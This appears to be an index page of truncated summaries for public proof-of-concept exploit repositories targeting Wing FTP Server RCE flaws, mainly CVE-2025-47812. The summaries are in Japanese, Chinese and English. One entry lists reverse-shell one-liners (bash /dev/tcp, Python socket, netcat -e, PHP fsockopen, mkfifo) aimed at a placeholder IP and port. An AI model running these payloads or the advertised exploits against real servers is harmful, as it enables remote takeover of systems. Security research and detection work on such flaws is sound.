CVE-2025-47812-poC

CVE-2025-47812-poC Wing FTP Server RCE（CVE-2025-47812）の簡易エクスプロイト。コマンド実行とリバースシェルの取得が可能です。教育目的のみで使用してください。 脆弱性の詳細 本セキュリティ脆弱性はRCESecurity（https://www.rcesecurity.com/2025/06/what-the-null-wing-ftp-server-rce-cve-2025-47812/）によって公開され、詳細が示されました。 このエクスプロイトは教育およびテスト目的で私が開発したものです。私は脆弱性の最初の発見者ではありません。 Win...

Wing-FTP-Server-7.4.4-RCE-Authenticated

Wing FTP Server 7.4.4 - 远程代码执行（需认证）（CVE-2025-5196） Wing FTP Server 提供了一个可通过其 Web 界面访问的管理 Lua 脚本控制台。经过身份验证的管理员能够执行任意 Lua 代码，但其沙箱机制不足。 受影响版本：Wing FTP Server 7.4.4 Windows | 需要身份验证：是 下载与发布说明 截至2025年5月24日，供应商提供的最新版本应用程序可通过以下链接获取：https://www.wftpserver.com/download.htm...

CVE-2025-47812-poc

CVE-2025-47812 Wing FTP Server リモートコード実行 RCE エクスプロイト CVE-2025-47812 📌 クレジット : 脆弱性は Julien @MrTuxracer によって発見されました。 この PoC 実装は彼らのオリジナル研究に基づいています。 このリポジトリは、Wing FTP Server のリモートコード実行 RCE 脆弱性 CVE-2025-47812 に対する Python エクスプロイトをホストしています。この重大な欠陥により、攻撃者は影響を受ける Wing FTP Server...

CVE-2025-47812

CVE-2025-47812 这是 Wing FTP 服务器漏洞（CVE-2025-47812）的概念验证（PoC） 描述 Wing FTP Server 7.4.4 之前的版本因对用户名参数的不安全处理而存在远程代码执行（RCE ）漏洞。当我们在 /loginok.html 页面登录时，可以注入空字节 %00 后跟 Lua 代码，以实现 RCE。 背景事件 当我们向 loginok.html 页面发送 POST 请求时，cCheckUser 函数（用于验证正确用户名和密码的函数）使用了 strlen。问题在于该依赖函数容易受到空字节截断的影响。 这意味着如果我们在用户名后发送...

CVE-2025-47812

CVE-2025-47812 – Wing FTP Server 通过 Lua 注入实现远程代码执行 作者： 0xgh057r3c0n 🧠 描述 此漏洞利用 Wing FTP Server 登录处理程序（loginok.html）中的 Lua 注入漏洞，执行任意操作系统命令或获取反向 Shell。它通过 username 参数滥用未经过滤的 Lua 代码执行。 📦 依赖要求 Python 3.6 或更高版本 pip3 Python 软件包 使用以下命令安装所需软件包： pip3 install -r requirements.txt 或手动安装： pip3 install request...

CVE-2026-44403-WingFTP-v8.1.2-POC-Exploit

Wing FTP Server v8.1.2には、セッションシリアル化メカニズムにリモートコード実行（RCE）の脆弱性が存在します。認証された管理者は、ドメイン管理者のmydirectory（ベースフォルダ）フィールドを通じて任意のLuaコードを注入でき、サーバー側でloadfileを介して実行されます。...

CVE-2025-47812

CVE-2025-47812 不正确的输入验证导致远程代码执行直至完全系统沦陷 📘 简介： 来自 RCE Security 的 Julien Ahrens 发现了一个影响 WingFTP 的关键安全漏洞。该漏洞被跟踪为 CVE-2025-47812，CVSS 评分为 10。成功利用该漏洞可能允许远程未认证攻击者执行任意代码，从而导致完全的系统沦陷。 Wing FTP Server 是一款跨平台、用户友好且安全的 FTP 服务器软件。它支持多种文件传输协议，如 FTP、FTPS、HTTP、HTTPS 和 SFTP，为客户端的连接提供了灵活性。 为了研究 CVE-2025-47812，我在一...

WingFTP-CVE-2025-47812-illdeed

CVE-2025-47812 - Wing FTP Server RCE エクスプロイト このリポジトリは CVE-2025-47812 の概念実証エクスプロイトを提供します。これは Wing FTP Server のリモートコマンド実行 RCE 脆弱性です。攻撃者は認証時に username パラメータを悪用して任意の Lua ベースのシステムコマンドを注入・実行し、完全なリモートコード実行を引き起こすことができます。 📌 エクスプロイトの機能 🔧 カスタムシェルコマンドのリモート実行 🧬 複数の内蔵リバースシェルペイロード bash、Python、netcat など 🪪...

CVE-2025-47812-Research

CVE-2025-47812 — Wing FTP Server RCE 研究 背景 在 Akasec 俱乐部进行的网络安全观察实习 （1337 Khouribga）— 2025 年 7/8 月。 研究的漏洞 - CVE : CVE-2025-47812 - CVSS 评分 : 10.0 严重 - 受影响软件 : Wing FTP Server 7.4.4 - 类型 : 通过 Lua 注入的远程代码执行 环境 在隔离且受控的环境中进行利用 （WSL Ubuntu），仅用于教育目的。 内容 - Rapportstagevf4.pdf — 完整报告，包含 静态分析...

CVE-2025-47812

CVE-2025-47812 - Wing FTP服务器远程代码执行（RCE） 作者: blindma1den 日期: 2025年7月 漏洞利用类型: 远程代码执行（未认证） 目标: Wing FTP Server & /dev/tcp/IP/PORT 0&1 Python3: python3 -c 'import socket,subprocess,os; ...' Netcat: nc IP PORT -e /bin/sh PHP: php -r '$sock=fsockopen"IP",PORT; ...' FIFO + Netcat: rm /tmp/f; mkfifo...

CVE-2025-47812

CVE-2025-47812 — Wing FTP服务器未授权远程代码执行 ██╗ ██╗██╗███╗ ██╗ ██████╗ ███████╗████████╗██████╗ ██║ ██║██║████╗ ██║██╔════╝ ██╔════╝╚══██╔══╝██╔══██╗ ██║ █╗ ██║██║██╔██╗ ██║██║ ███╗ █████╗ ██║ ██████╔╝ ██║███╗██║██║██║╚██╗██║██║ ██║ ██╔══╝ ██║ ██╔═══╝ ╚███╔███╔╝██║██║ ╚████║╚██████╔╝ ██║ ██║ ██║ ╚══╝╚═...

Exploit_CVE-2025-47812

WingFTPServer7.4.3-UnauthenticatedRCE...

CVE-2025-47812

CVE-2025-47812 – Wing FTP Server RCE 漏洞利用 漏洞利用标题： Wing FTP Server 7.4.4 通过 Lua 注入实现远程代码执行 CVE： CVE-2025-47812 测试于： Wing FTP Server v7.3.x（Windows/Linux） 影响： 以 SYSTEM/root 权限远程执行代码（RCE） 严重性： 严重 描述 Wing FTP Server 在处理登录输入中的 \0（空字节）时存在一个漏洞，允许攻击者通过用户或管理员 Web 界面向会话文件中注入任意 Lua 代码 。这可用于在底层操作系统上执行系统命令。...

Blackash-CVE-2025-47812

🛡️ CVE-2025-47812 – Wing FTP Server 中的严重 RCE 漏洞 🛡️ 🔎 概述： CVE-2025-47812 是一个影响 7.4.4 版本之前 Wing FTP Server 的严重远程代码执行 RCE 漏洞。该漏洞由一名安全研究人员发现，并已被确认在野外被积极利用 。 🧱 根本原因： 该漏洞存在于 Wing FTP Server 的身份验证逻辑 中，具体在于其处理 username 参数中的空字节 \0 的方式。 攻击者可以通过用户名字段注入任意 Lua 代码 ，服务器会将其写入会话文件。当后续处理该会话文件时，注入的 Lua 代码会被执行...

CVE-2025-47812

🚀 Wing FTP Exploit - CVE-2025-47812 Wing FTP Server CVE-2025-47812 の改良版エクスプロイト - 未認証リモートコード実行 RCE 🔧 インストール このリポジトリをクローンし、ディレクトリに移動します: git clone https://github.com/0xjuarez/CVE-2025-47812.git cd CVE-2025-47812 pip install -r requirements.txt または、CVE-2025-47812.py スクリプトをダウンロードして実行するだけです。 🚀 使い方...

Wing FTP Server <= 7.4.3 - Path Disclosure via Overlong UID Cookie

Wing FTP Server versions prior to 7.4.4 are vulnerable to an authenticated information disclosure vulnerability CVE-2025-47813. The vulnerability occurs due to improper validation of the 'UID' session cookie in the /loginok.html endpoint. Supplying an overlong UID value causes the server to respo...

Wing FTP 6.4.4 - Cross-Site Scripting

Wing FTP 6.4.4 is vulnerable to cross-site scripting via its web interface because an arbitrary IFRAME element can be included in the help pages via a crafted link, leading to the execution of sandboxed arbitrary HTML and JavaScript in the user's browser. id: CVE-2020-27735 info: name: Wing FTP...

CVE-2020-9470

これは何ですか Wing FTP Server 6.2.5 - 権限昇格 はじめに Wing FTP Server 内のHTTPセッション処理における脆弱性により、ローカルユーザーはLinux、MacOS、Solaris上でルート権限に昇格できます。悪用には、既に確立された管理セッションが必要です。バージョン6.2.5は2020年2月27日にリリースされましたが、このバグは2020年2月28日に特定、報告、修正されたことに注意してください。そのため、Wing FTP Serverのバージョン6.2.5を表示する一部のインストールは脆弱である可能性があり、一部は脆弱でない可能性があります。...

CVE-2025-47812

CVE-2025-47812 此检测方法的工作原理是什么？ 该Nuclei模板通过识别Web客户端HTML响应中暴露的版本低于7.4.4的Wing FTP Server实例，来检测易受CVE-2025-47812攻击的目标。 如何运行此脚本？ 1. 从此处下载Nuclei 2. 将模板复制到本地系统 3. 运行以下命令：nuclei -u https://yourHost.com -t template.yaml 参考资料 https://nvd.nist.gov/vuln/detail/CVE-2025-47812 https://www.wftpserver.com/...

CVE-2020-8635

これは何ですか Wing FTP Server 6.2.3 - 権限昇格 エクスプロイト はじめに Wing FTP Server v6.2.3（Linux、macOS、Solaris向け）は、インストールディレクトリと設定ファイルに安全でないパーミッションを設定します。これにより、ローカルユーザーがフル権限を持つFTPユーザーを任意に作成し、システムファイルを変更することでオペレーティングシステム内の権限を昇格させることができます。 テスト環境 Ubuntu 18.04, Kali Linux 4, MacOS Catalina, Solaris 11.4 x86 エクスプロイト...